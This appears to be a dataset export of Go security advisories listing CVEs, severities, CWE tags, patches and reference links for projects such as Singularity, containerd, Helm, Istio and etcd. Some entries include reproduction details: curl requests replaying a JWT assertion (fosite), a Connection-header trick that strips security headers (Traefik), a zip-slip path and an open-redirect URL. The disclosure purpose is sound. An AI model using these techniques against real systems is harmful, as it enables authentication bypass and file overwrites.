* Open an issue in [dbdeployer](https://github.com/datacharmer/dbdeployer) | {'CVE-2020-26277'} | 2021-05-21T18:35:39Z | 2022-02-12T00:14:07Z | MODERATE | null | {'CWE-59'} | {'https://github.com/datacharmer/dbdeployer/security/advisories/GHSA-47wr-426j-fr82', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26277', 'https://github.com/datacharmer/dbdeployer/commit/548e256c1de2f99746e861454e7714ec6bc9bb10'} | null | {'https://github.com/datacharmer/dbdeployer/commit/548e256c1de2f99746e861454e7714ec6bc9bb10'} | {'https://github.com/datacharmer/dbdeployer/commit/548e256c1de2f99746e861454e7714ec6bc9bb10'} |
Go | GHSA-7gcp-w6ww-2xv9 | Path traversal and files overwrite with unsquashfs in singularity | ### Impact
Due to insecure handling of path traversal and the lack of path sanitization within `unsquashfs` (a distribution provided utility used by Singularity), it is possible to overwrite/create any files on the host filesystem during the extraction of a crafted squashfs filesystem.
Squashfs extraction occurs automatically for unprivileged execution of Singularity (either `--without-suid` installation or with `allow setuid = no`) when a user attempts to run an image which:
- is a local SIF image or a single file containing a squashfs filesystem
- is pulled from remote sources `library://` or `shub://`
Image build is also impacted in a more serious way as it is often performed by the root user, allowing an attacker to overwrite/create files leading to a system compromise. Bootstrap methods `library`, `shub` and `localimage` trigger a squashfs extraction.
### Patches
This issue is addressed in Singularity 3.6.4.
All users are advised to upgrade to 3.6.4 especially if they use Singularity mainly for building image as root user.
### Workarounds
There is no solid workaround except to temporarily avoid use of unprivileged mode with single file images, in favor of sandbox images instead. Regarding image build, temporarily avoid building from `library` and `shub` sources, and as much as possible use `--fakeroot` or a VM to limit potential impact.
### For more information
General questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:
* [Singularity Slack Channel](https://bit.ly/2m0g3lX)
* [Singularity Mailing List](https://groups.google.com/a/lbl.gov/forum/??sdf%7Csort:date#!forum/singularity)
Any sensitive security concerns should be directed to: security@sylabs.io
See our Security Policy here: https://sylabs.io/security-policy | {'CVE-2020-15229'} | 2021-05-21T22:17:06Z | 2021-05-24T16:59:53Z | HIGH | null | {'CWE-22'} | {'https://github.com/hpcng/singularity/blob/v3.6.4/CHANGELOG.md#security-related-fixes', 'https://github.com/hpcng/singularity/pull/5611', 'http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00070.html', 'http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00071.html', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15229', 'https://github.com/hpcng/singularity/commit/eba3dea260b117198fdb6faf41f2482ab2f8d53e', 'http://lists.opensuse.org/opensuse-security-announce/2020-11/msg00009.html', 'https://github.com/hpcng/singularity/security/advisories/GHSA-7gcp-w6ww-2xv9'} | null | {'https://github.com/hpcng/singularity/commit/eba3dea260b117198fdb6faf41f2482ab2f8d53e'} | {'https://github.com/hpcng/singularity/commit/eba3dea260b117198fdb6faf41f2482ab2f8d53e'} |
Go | GHSA-6635-c626-vj4r | Command Injection Vulnerability with Mercurial in VCS | URLs and local file paths passed to the Mercurial (hg) APIs that are specially crafted can contain commands which are executed by Mercurial if it is installed on the host operating system. The `vcs` package uses the underly version control system, in this case `hg`, to implement the needed functionality. When `hg` is executed, argument strings are passed to `hg` in a way that additional flags can be set. The additional flags can be used to perform a command injection. Other version control systems with an implemented interface may also be vulnerable. The issue has been fixed in version 1.13.2. A work around is to sanitize data passed to the `vcs` package APIs to ensure it does not contain commands or unexpected data. This is important for user input data that is passed directly to the package APIs. | {'CVE-2022-21235'} | 2022-04-18T21:47:33Z | 2022-04-01T14:05:33Z | CRITICAL | null | {'CWE-88', 'CWE-77'} | {'https://nvd.nist.gov/vuln/detail/CVE-2022-21235', 'https://github.com/Masterminds/vcs/security/advisories/GHSA-6635-c626-vj4r', 'https://github.com/Masterminds/vcs/commit/922a5122330ea8fbe56352a0172ddb6bf019cd22', 'https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMMASTERMINDSVCS-2437078', 'https://github.com/Masterminds/vcs/pull/105', 'https://github.com/Masterminds/vcs', 'https://github.com/Masterminds/vcs/releases/tag/v1.13.2'} | null | {'https://github.com/Masterminds/vcs/commit/922a5122330ea8fbe56352a0172ddb6bf019cd22'} | {'https://github.com/Masterminds/vcs/commit/922a5122330ea8fbe56352a0172ddb6bf019cd22'} |
Go | GHSA-fpv6-f8jw-rc3r | Remote code execution via the web UI backend | ### Impact
Elvish's backend for the experimental web UI (started by `elvish -web`) hosts an endpoint that allows executing the code sent from the web UI.
The backend does not check the origin of requests correctly. As a result, if the user has the web UI backend open and visits a compromised or malicious website, the website can send arbitrary code to the endpoint in localhost.
### Patches
All Elvish releases since 0.14.0 no longer include the experimental web UI, although it is still possible for the user to build a version from source that includes it.
The issue can be patched for previous versions by removing the web UI (found in web, pkg/web or pkg/prog/web, depending on the exact version).
### Workarounds
Do not use the experimental web UI.
### For more information
If you have any questions or comments about this advisory, please email xiaqqaix@gmail.com. | {'CVE-2021-41088'} | 2021-09-23T21:06:47Z | 2021-09-23T23:17:33Z | MODERATE | null | {'CWE-668'} | {'https://github.com/elves/elvish/commit/ccc2750037bbbfafe9c1b7a78eadd3bd16e81fe5', 'https://github.com/elves/elvish/security/advisories/GHSA-fpv6-f8jw-rc3r', 'https://github.com/elves/elvish', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41088'} | null | {'https://github.com/elves/elvish/commit/ccc2750037bbbfafe9c1b7a78eadd3bd16e81fe5'} | {'https://github.com/elves/elvish/commit/ccc2750037bbbfafe9c1b7a78eadd3bd16e81fe5'} |
Go | GO-2020-0050 | null | Due to the behavior of encoding/xml, a crafted XML document may cause
XML Digital Signature validation to be entirely bypassed, causing an
unsigned document to appear signed.
| {'CVE-2020-15216'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/russellhaering/goxmldsig/commit/f6188febf0c29d7ffe26a0436212b19cb9615e64', 'https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7'} | null | {'https://github.com/russellhaering/goxmldsig/commit/f6188febf0c29d7ffe26a0436212b19cb9615e64'} | {'https://github.com/russellhaering/goxmldsig/commit/f6188febf0c29d7ffe26a0436212b19cb9615e64'} |
Go | GHSA-x27w-qxhg-343v | Access Restriction Bypass in go-ldap | In the ldap.v2 (aka go-ldap) package through 2.5.0 for Go, an attacker may be able to login with an empty password. This issue affects an application using this package if these conditions are met: (1) it relies only on the return error of the Bind function call to determine whether a user is authorized (i.e., a nil return value is interpreted as successful authorization) and (2) it is used with an LDAP server allowing unauthenticated bind. | {'CVE-2017-14623'} | 2021-05-20T17:02:56Z | 2022-02-15T01:57:18Z | HIGH | null | {'CWE-287'} | {'https://nvd.nist.gov/vuln/detail/CVE-2017-14623', 'https://github.com/go-ldap/ldap/pull/126', 'https://github.com/go-ldap/ldap/commit/95ede1266b237bf8e9aa5dce0b3250e51bfefe66'} | null | {'https://github.com/go-ldap/ldap/commit/95ede1266b237bf8e9aa5dce0b3250e51bfefe66'} | {'https://github.com/go-ldap/ldap/commit/95ede1266b237bf8e9aa5dce0b3250e51bfefe66'} |
Go | GHSA-9qq2-xhmc-h9qr | Access Control Bypass | An issue was discovered in Rancher 2 through 2.1.5. Any project member with access to the default namespace can mount the netes-default service account in a pod, and then use that pod to execute administrative privileged commands against the k8s cluster. This could be mitigated by isolating the default namespace in a separate project, where only cluster admins can be given permissions to access. As of 2018-12-20, this bug affected ALL clusters created or imported by Rancher. | {'CVE-2018-20321'} | 2022-04-25T20:20:41Z | 2021-06-23T17:57:10Z | MODERATE | null | {'CWE-288', 'CWE-668'} | {'https://rancher.com/blog/2019/2019-01-29-explaining-security-vulnerabilities-addressed-in-rancher-v2-1-6-and-v2-0-11/', 'https://github.com/rancher/rancher/commit/6ea187fcc2309d5a7a14ed47de5688bf6573f448', 'https://github.com/rancher/rancher', 'https://nvd.nist.gov/vuln/detail/CVE-2018-20321', 'https://github.com/rancher/rancher/releases/tag/v2.1.6', 'https://forums.rancher.com/c/announcements'} | null | {'https://github.com/rancher/rancher/commit/6ea187fcc2309d5a7a14ed47de5688bf6573f448'} | {'https://github.com/rancher/rancher/commit/6ea187fcc2309d5a7a14ed47de5688bf6573f448'} |
Go | GHSA-c2h3-6mxw-7mvq | Insufficiently restricted permissions on plugin directories | ### Impact
A bug was found in containerd where container root directories and some plugins had insufficiently restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and execute programs. When containers included executable programs with extended permission bits (such as setuid), unprivileged Linux users could discover and execute those programs. When the UID of an unprivileged Linux user on the host collided with the file owner or group inside a container, the unprivileged Linux user on the host could discover, read, and modify those files.
### Patches
This vulnerability has been fixed in containerd 1.4.11 and containerd 1.5.7. Users should update to these version when they are released and may restart containers or update directory permissions to mitigate the vulnerability.
### Workarounds
Limit access to the host to trusted users. Update directory permission on container bundles directories.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [github.com/containerd/containerd](https://github.com/containerd/containerd/issues/new/choose)
* Email us at [security@containerd.io](mailto:security@containerd.io)
| {'CVE-2021-41103'} | 2021-10-15T17:31:03Z | 2021-10-04T20:14:47Z | MODERATE | null | {'CWE-22'} | {'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZNFADTCHHYWVM6W4NJ6CB4FNFM2VMBIB/', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41103', 'https://github.com/containerd/containerd/commit/5b46e404f6b9f661a205e28d59c982d3634148f8', 'https://github.com/containerd/containerd', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/B5Q6G6I4W5COQE25QMC7FJY3I3PAYFBB/', 'https://github.com/containerd/containerd/releases/tag/v1.4.11', 'https://github.com/containerd/containerd/releases/tag/v1.5.7', 'https://www.debian.org/security/2021/dsa-5002', 'https://github.com/containerd/containerd/security/advisories/GHSA-c2h3-6mxw-7mvq'} | null | {'https://github.com/containerd/containerd/commit/5b46e404f6b9f661a205e28d59c982d3634148f8'} | {'https://github.com/containerd/containerd/commit/5b46e404f6b9f661a205e28d59c982d3634148f8'} |
Go | GHSA-v3q9-2p3m-7g43 | Token reuse in github.com/ory/fosite | ### Impact
When using client authentication method "private_key_jwt" [1], OpenId specification says the following about assertion `jti`:
> A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties
Hydra does not seem to check the uniqueness of this `jti` value. Here is me sending the same token request twice, hence with the same `jti` assertion, and getting two access tokens:
```
$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
--data-urlencode 'scope=application openid' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM","expires_in":3599,"scope":"application openid","token_type":"bearer"}⏎
$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
--data-urlencode 'scope=application openid' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4","expires_in":3599,"scope":"application openid","token_type":"bearer"}
```
### Patches
_Has the problem been patched? What versions should users upgrade to?_
### Workarounds
Do not allow clients to use `private_key_jwt`.
### References
https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication | {'CVE-2020-15222'} | 2021-11-19T15:24:07Z | 2021-05-24T16:57:52Z | HIGH | null | {'CWE-345', 'CWE-287'} | {'https://github.com/ory/fosite/commit/0c9e0f6d654913ad57c507dd9a36631e1858a3e9', 'https://github.com/ory/fosite/security/advisories/GHSA-v3q9-2p3m-7g43', 'https://github.com/ory/fosite', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15222', 'https://github.com/ory/fosite/releases/tag/v0.31.0', 'https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication'} | null | {'https://github.com/ory/fosite/commit/0c9e0f6d654913ad57c507dd9a36631e1858a3e9'} | {'https://github.com/ory/fosite/commit/0c9e0f6d654913ad57c507dd9a36631e1858a3e9'} |
Go | GO-2020-0006 | null | An attacker may prevent TCP connections to a [`Server`][] by opening
a connection and leaving it idle, until the connection is closed by
the server no other connections will be accepted.
| {'CVE-2017-15133'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/miekg/dns/pull/631', 'https://github.com/miekg/dns/commit/43913f2f4fbd7dcff930b8a809e709591e4dd79e'} | null | {'https://github.com/miekg/dns/commit/43913f2f4fbd7dcff930b8a809e709591e4dd79e'} | {'https://github.com/miekg/dns/commit/43913f2f4fbd7dcff930b8a809e709591e4dd79e'} |
Go | GHSA-jhj6-5mh6-4pvf | Denial-of-Service within Docker container | ### Impact
If you run teler inside a Docker container and encounter `errors.Exit` function, it will cause denial-of-service (`SIGSEGV`) because it doesn't get process ID and process group ID of teler properly to kills.
### Patches
Upgrade to the >= 0.0.1 version.
### Workarounds
N/A
### References
- https://github.com/kitabisa/teler/commit/ec6082049dba9e44a21f35fb7b123d42ce1a1a7e
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Issues Section](https://github.com/kitabisa/teler/issues)
* Email us at [infosec@kitabisa.com](mailto:infosec@kitabisa.com)
| {'CVE-2020-26213'} | 2021-10-06T21:44:05Z | 2021-05-24T17:00:46Z | MODERATE | null | {'CWE-476'} | {'https://github.com/kitabisa/teler', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26213', 'https://github.com/kitabisa/teler/security/advisories/GHSA-jhj6-5mh6-4pvf', 'https://github.com/kitabisa/teler/commit/ec6082049dba9e44a21f35fb7b123d42ce1a1a7e'} | null | {'https://github.com/kitabisa/teler/commit/ec6082049dba9e44a21f35fb7b123d42ce1a1a7e'} | {'https://github.com/kitabisa/teler/commit/ec6082049dba9e44a21f35fb7b123d42ce1a1a7e'} |
Go | GHSA-733f-44f3-3frw | Open redirect | macaron before 1.3.7 has an open redirect in the static handler, as demonstrated by the http://127.0.0.1:4000//example.com/ URL. | {'CVE-2020-12666'} | 2021-05-18T20:50:16Z | 2021-05-18T21:08:35Z | MODERATE | null | {'CWE-601'} | {'https://github.com/go-macaron/macaron/pull/199/commits/6bd9385542f7133467ab7d09a5f28f7d5dc52af7', 'https://github.com/go-macaron/macaron/releases/tag/v1.3.7', 'https://nvd.nist.gov/vuln/detail/CVE-2020-12666', 'https://github.com/go-macaron/macaron/issues/198', 'https://github.com/go-macaron/macaron/issues/198#issuecomment-622885959', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3QEUOHRC4EN4WZ66EVFML2UCV7ZQ63XZ/'} | null | {'https://github.com/go-macaron/macaron/pull/199/commits/6bd9385542f7133467ab7d09a5f28f7d5dc52af7'} | {'https://github.com/go-macaron/macaron/pull/199/commits/6bd9385542f7133467ab7d09a5f28f7d5dc52af7'} |
Go | GHSA-h74j-692g-48mq | Path Traversal in MHolt Archiver | All versions of archiver allow attacker to perform a Zip Slip attack via the "unarchive" functions. It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily. | {'CVE-2019-10743'} | 2021-05-17T21:21:43Z | 2021-05-18T15:31:53Z | MODERATE | null | {'CWE-29'} | {'https://nvd.nist.gov/vuln/detail/CVE-2019-10743', 'https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMMHOLTARCHIVERCMDARC-174728,', 'https://github.com/mholt/archiver/pull/169', 'https://github.com/snyk/zip-slip-vulnerability', 'https://github.com/mholt/archiver/pull/203', 'https://github.com/mholt/archiver/commit/8217ed3a206c0473b4ec1aff51375b398838073a', 'https://snyk.io/research/zip-slip-vulnerability'} | null | {'https://github.com/mholt/archiver/commit/8217ed3a206c0473b4ec1aff51375b398838073a'} | {'https://github.com/mholt/archiver/commit/8217ed3a206c0473b4ec1aff51375b398838073a'} |
Go | GO-2021-0108 | null | Due to improper input sanitization, a maliciously constructed filename could cause a file
download to use an attacker controlled filename, as well as injecting additional headers
into a HTTP response.
| {'CVE-2020-15111'} | 2021-07-28T12:00:00Z | 2021-07-28T12:00:00Z | null | null | null | {'https://github.com/gofiber/fiber/commit/f698b5d5066cfe594102ae252cd58a1fe57cf56f', 'https://github.com/gofiber/fiber/pull/579', 'https://github.com/advisories/GHSA-9cx9-x2gp-9qvh'} | null | {'https://github.com/gofiber/fiber/commit/f698b5d5066cfe594102ae252cd58a1fe57cf56f'} | {'https://github.com/gofiber/fiber/commit/f698b5d5066cfe594102ae252cd58a1fe57cf56f'} |
Go | GHSA-m697-4v8f-55qg | Header dropping in traefik | # Impact
There exists a potential header vulnerability in Traefik's handling of the Connection header. Active exploitation of this issue is unlikely, as it requires that a removed header would lead to a privilege escalation, however, the Traefik team has addressed this issue to prevent any potential abuse.
# Details
If you have a chain of Traefik middlewares, and one of them sets a request header `Important-Security-Header`, then sending a request with the following Connection header will cause it to be removed before the request was sent:
```
curl 'https://example.com' -H "Connection: Important-Security-Header" -0
```
In this case, the backend does not see the request header `Important-Security-Header`.
# Patches
Traefik v2.4.x: https://github.com/traefik/traefik/releases/tag/v2.4.13
# Workarounds
No.
# For more information
If you have any questions or comments about this advisory, [open an issue](https://github.com/traefik/traefik/issues).
| {'CVE-2021-32813'} | 2021-08-31T20:57:09Z | 2021-08-05T17:04:21Z | MODERATE | null | {'CWE-913'} | {'https://github.com/traefik/traefik/releases/tag/v2.4.13', 'github.com/traefik/traefik', 'https://nvd.nist.gov/vuln/detail/CVE-2021-32813', 'https://github.com/traefik/traefik/pull/8319/commits/cbaf86a93014a969b8accf39301932c17d0d73f9', 'https://github.com/traefik/traefik/security/advisories/GHSA-m697-4v8f-55qg'} | null | {'https://github.com/traefik/traefik/pull/8319/commits/cbaf86a93014a969b8accf39301932c17d0d73f9'} | {'https://github.com/traefik/traefik/pull/8319/commits/cbaf86a93014a969b8accf39301932c17d0d73f9'} |
Go | GHSA-88jf-7rch-32qc | Path Traversal in github.com/unknwon/cae/tz | "The ExtractTo function doesn't securely escape file paths in zip archives which include leading or non-leading "..". This allows an attacker to add or replace files system-wide." | {'CVE-2020-7668'} | 2022-01-04T19:33:14Z | 2021-05-18T20:31:18Z | HIGH | null | {'CWE-22'} | {'https://github.com/unknwon/cae/commit/07971c00a1bfd9dc171c3ad0bfab5b67c2287e11', 'https://github.com/unknwon/cae', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7668', 'https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMUNKNWONCAETZ-570384'} | null | {'https://github.com/unknwon/cae/commit/07971c00a1bfd9dc171c3ad0bfab5b67c2287e11'} | {'https://github.com/unknwon/cae/commit/07971c00a1bfd9dc171c3ad0bfab5b67c2287e11'} |
Go | GHSA-9vp5-m38w-j776 | Aliases are never checked in helm | ### Impact
During a security audit of Helm's code base, security researchers at Trail of Bits identified a bug in which the `alias` field on a `Chart.yaml` is not properly sanitized. This could lead to the injection of unwanted information into a chart.
### Patches
This issue has been patched in Helm 3.3.2 and 2.16.11
### Workarounds
Manually review the `dependencies` field of any untrusted chart, verifying that the `alias` field is either not used, or (if used) does not contain newlines or path characters. | {'CVE-2020-15184'} | 2021-11-19T15:29:12Z | 2021-05-24T16:56:58Z | LOW | null | {'CWE-20', 'CWE-74'} | {'https://github.com/helm/helm/commit/6aab63765f99050b115f0aec3d6350c85e8da946', 'https://github.com/helm/helm/security/advisories/GHSA-9vp5-m38w-j776', 'https://github.com/helm/helm/commit/e7c281564d8306e1dcf8023d97f972449ad74850', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15184', 'https://github.com/helm/helm'} | null | {'https://github.com/helm/helm/commit/e7c281564d8306e1dcf8023d97f972449ad74850', 'https://github.com/helm/helm/commit/6aab63765f99050b115f0aec3d6350c85e8da946'} | {'https://github.com/helm/helm/commit/6aab63765f99050b115f0aec3d6350c85e8da946', 'https://github.com/helm/helm/commit/e7c281564d8306e1dcf8023d97f972449ad74850'} |
Go | GO-2020-0010 | null | When using ECDH-ES an attacker can mount an invalid curve attack during
decryption as the supplied public key is not checked to be on the same
curve as the recievers private key.
| {'CVE-2016-9121'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://www.openwall.com/lists/oss-security/2016/11/03/1', 'https://github.com/square/go-jose/commit/c7581939a3656bb65e89d64da0a52364a33d2507'} | null | {'https://github.com/square/go-jose/commit/c7581939a3656bb65e89d64da0a52364a33d2507'} | {'https://github.com/square/go-jose/commit/c7581939a3656bb65e89d64da0a52364a33d2507'} |
Go | GHSA-vrmr-f2qh-3hhf | Improper use of cryptographic key in wal-g | WAL-G before 1.1, when a non-libsodium build (e.g., one of the official binary releases published as GitHub Releases) is used, silently ignores the libsodium encryption key and uploads cleartext backups. This is arguably a Principle of Least Surprise violation because "the user likely wanted to encrypt all file activity." | {'CVE-2021-38599'} | 2021-08-30T17:30:36Z | 2021-09-02T17:17:16Z | HIGH | null | {'CWE-922'} | {'https://github.com/wal-g/wal-g/pull/1062', 'https://github.com/wal-g/wal-g/commit/cadf598e1c2a345915a21a44518c5a4d5401e2e3', 'https://github.com/wal-g/wal-g', 'https://nvd.nist.gov/vuln/detail/CVE-2021-38599', 'https://github.com/wal-g/wal-g/releases/tag/v1.1'} | null | {'https://github.com/wal-g/wal-g/commit/cadf598e1c2a345915a21a44518c5a4d5401e2e3'} | {'https://github.com/wal-g/wal-g/commit/cadf598e1c2a345915a21a44518c5a4d5401e2e3'} |
Go | GHSA-5rcv-m4m3-hfh7 | Infinite Loop in Go | Go version v0.3.3 of the x/text package fixes a vulnerability in encoding/unicode that could lead to the UTF-16 decoder entering an infinite loop, causing the program to crash or run out of memory. An attacker could provide a single byte to a UTF16 decoder instantiated with UseBOM or ExpectBOM to trigger an infinite loop if the String function on the Decoder is called, or the Decoder is passed to golang.org/x/text/transform.String. | {'CVE-2020-14040'} | 2021-05-12T14:54:58Z | 2021-05-18T18:34:35Z | HIGH | null | {'CWE-400', 'CWE-835'} | {'https://go-review.googlesource.com/c/text/+/238238', 'https://groups.google.com/g/golang-announce/c/bXVeAmGOqz0', 'https://nvd.nist.gov/vuln/detail/CVE-2020-14040', 'https://groups.google.com/forum/#!topic/golang-announce/bXVeAmGOqz0', 'https://github.com/golang/text/commit/23ae387dee1f90d29a23c0e87ee0b46038fbed0e', 'https://github.com/golang/go/issues/39491', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TACQFZDPA7AUR6TRZBCX2RGRFSDYLI7O/'} | null | {'https://github.com/golang/text/commit/23ae387dee1f90d29a23c0e87ee0b46038fbed0e'} | {'https://github.com/golang/text/commit/23ae387dee1f90d29a23c0e87ee0b46038fbed0e'} |
Go | GHSA-856q-xv3c-7f2f | Unauthenticated control plane denial of service attack in Istio | ### Impact
The Istio control plane, `istiod`, is vulnerable to a request processing error, allowing a malicious attacker that sends a specially crafted message which results in the control plane crashing. This endpoint is served over TLS port 15012, but does not require any authentication from the attacker.
For simple installations, Istiod is typically only reachable from within the cluster, limiting the blast radius. However, for some deployments, especially [multicluster](https://istio.io/latest/docs/setup/install/multicluster/primary-remote/) topologies, this port is exposed over the public internet.
### Patches
- Istio 1.13.1 and above
- Istio 1.12.4 and above
- Istio 1.11.7 and above
### Workarounds
There are no effective workarounds, beyond upgrading. Limiting network access to Istiod to the minimal set of clients can help lessen the scope of the vulnerability to some extent.
### References
More details can be found in the [Istio Security Bulletin](https://istio.io/latest/news/security/istio-security-2022-003)
### For more information
If you have any questions or comments about this advisory, please email us at [istio-security-vulnerability-reports@googlegroups.com](mailto:istio-security-vulnerability-reports@googlegroups.com)
| {'CVE-2022-23635'} | 2022-02-25T15:38:52Z | 2022-02-23T14:59:08Z | HIGH | null | {'CWE-287'} | {'https://istio.io/latest/news/security/istio-security-2022-003', 'https://github.com/istio/istio/security/advisories/GHSA-856q-xv3c-7f2f', 'https://github.com/istio/istio/commit/5f3b5ed958ae75156f8656fe7b3794f78e94db84', 'https://nvd.nist.gov/vuln/detail/CVE-2022-23635', 'https://github.com/istio/istio/'} | null | {'https://github.com/istio/istio/commit/5f3b5ed958ae75156f8656fe7b3794f78e94db84'} | {'https://github.com/istio/istio/commit/5f3b5ed958ae75156f8656fe7b3794f78e94db84'} |
Go | GO-2021-0077 | null | A user can use a valid client certificate that contains a CommonName that matches a
valid RBAC username to authenticate themselves as that user, despite lacking the
required credentials. This may allow authentication bypass, but requires a certificate
that is issued by a CA trusted by the server.
| {'CVE-2018-16886'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/etcd-io/etcd/pull/10366', 'https://github.com/etcd-io/etcd/commit/bf9d0d8291dc71ecbfb2690612954e1a298154b2'} | null | {'https://github.com/etcd-io/etcd/commit/bf9d0d8291dc71ecbfb2690612954e1a298154b2'} | {'https://github.com/etcd-io/etcd/commit/bf9d0d8291dc71ecbfb2690612954e1a298154b2'} |
Go | GO-2021-0098 | null | Due to the standard library behavior of exec.LookPath on Windows a number of methods may
result in arbitary code execution when cloning or operating on untrusted Git repositories.
| {'CVE-2021-21237'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/git-lfs/git-lfs/commit/fc664697ed2c2081ee9633010de0a7f9debea72a', 'https://github.com/git-lfs/git-lfs/security/advisories/GHSA-cx3w-xqmc-84g5'} | null | {'https://github.com/git-lfs/git-lfs/commit/fc664697ed2c2081ee9633010de0a7f9debea72a'} | {'https://github.com/git-lfs/git-lfs/commit/fc664697ed2c2081ee9633010de0a7f9debea72a'} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.